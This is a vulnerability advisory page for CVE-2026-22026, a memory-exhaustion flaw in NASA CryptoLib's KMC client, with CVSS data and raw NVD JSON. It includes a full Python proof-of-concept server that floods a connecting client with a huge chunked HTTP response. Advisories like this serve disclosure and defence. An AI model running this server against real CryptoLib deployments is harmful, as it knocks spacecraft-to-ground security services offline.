Security Vulnerability Report
中文
CVE-2026-22026 CVSS 7.5 HIGH

CVE-2026-22026

Published: 2026-01-10 01:16:19
Last Modified: 2026-01-16 16:43:52

Description

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to version 1.4.3, the libcurl write_callback function in the KMC crypto service client allows unbounded memory growth by reallocating response buffers without any size limit or overflow check. A malicious KMC server can return arbitrarily large HTTP responses, forcing the client to allocate excessive memory until the process is terminated by the OS. This issue has been patched in version 1.4.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nasa:cryptolib:*:*:*:*:*:*:*:* - VULNERABLE
NASA CryptoLib < 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22026 PoC - Malicious KMC Server This PoC demonstrates the unbounded memory growth vulnerability in CryptoLib's KMC client. The attacker controls a malicious KMC server that sends arbitrarily large HTTP responses. """ import socket import threading import time def start_malicious_kmc_server(host='0.0.0.0', port=8443, response_size=1024*1024*1024): """ Start a malicious KMC server that sends large HTTP responses to trigger unbounded memory growth in the CryptoLib client. Args: host: Server bind address port: Server listening port response_size: Size of response to send (default 1GB) """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((host, port)) server_socket.listen(5) print(f"[*] Malicious KMC Server started on {host}:{port}") print(f"[*] Will send {response_size / (1024*1024):.2f} MB response") while True: try: client_socket, addr = server_socket.accept() print(f"[+] Connection from {addr}") # Read HTTP request from client request = b"" while b"\r\n\r\n" not in request: chunk = client_socket.recv(1024) request += chunk print(f"[*] Received request from {addr}") # Send malicious HTTP response with large body # Using chunked transfer encoding to send large data response_header = ( "HTTP/1.1 200 OK\r\n" "Content-Type: application/json\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" ) client_socket.sendall(response_header.encode()) # Send large chunks of data (simulating unbounded response) chunk_size = 64 * 1024 # 64KB chunks remaining = response_size while remaining > 0: size = min(chunk_size, remaining) chunk = b"X" * size hex_size = format(size, 'x').encode() client_socket.sendall(hex_size + b"\r\n" + chunk + b"\r\n") remaining -= size if remaining % (1024 * 1024 * 100) == 0: print(f"[*] Sent { (response_size - remaining) / (1024*1024):.2f} MB so far...") # Send final chunk client_socket.sendall(b"0\r\n\r\n") print(f"[+] Finished sending malicious response to {addr}") client_socket.close() except Exception as e: print(f"[-] Error: {e}") break server_socket.close() if __name__ == "__main__": # Start server with 500MB response start_malicious_kmc_server(response_size=500*1024*1024)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22026", "sourceIdentifier": "[email protected]", "published": "2026-01-10T01:16:18.843", "lastModified": "2026-01-16T16:43:52.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to version 1.4.3, the libcurl write_callback function in the KMC crypto service client allows unbounded memory growth by reallocating response buffers without any size limit or overflow check. A malicious KMC server can return arbitrarily large HTTP responses, forcing the client to allocate excessive memory until the process is terminated by the OS. This issue has been patched in version 1.4.3."}, {"lang": "es", "value": "CryptoLib proporciona una solución únicamente de software utilizando el Protocolo de Seguridad de Enlace de Datos Espaciales CCSDS - Procedimientos Extendidos (SDLS-EP) para asegurar las comunicaciones entre una nave espacial que ejecuta el Sistema de Vuelo central (cFS) y una estación terrestre. Antes de la versión 1.4.3, la función write_callback de libcurl en el cliente del servicio criptográfico KMC permite un crecimiento ilimitado de la memoria al reasignar búferes de respuesta sin ningún límite de tamaño o verificación de desbordamiento. Un servidor KMC malicioso puede devolver respuestas HTTP arbitrariamente grandes, forzando al cliente a asignar memoria excesiva hasta que el proceso sea terminado por el SO. Este problema ha sido parcheado en la versión 1.4.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasa:cryptolib:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3", "matchCriteriaId": "AE1BE91E-2901-42AF-BC66-762CFA7A2582"}]}]}], "references": [{"url": "https://github.com/nasa/CryptoLib/commit/2372efd3da1ccb226b4297222e25f41ecc84821d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nasa/CryptoLib/releases/tag/v1.4.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-w9cm-q69w-34x7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-w9cm-q69w-34x7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}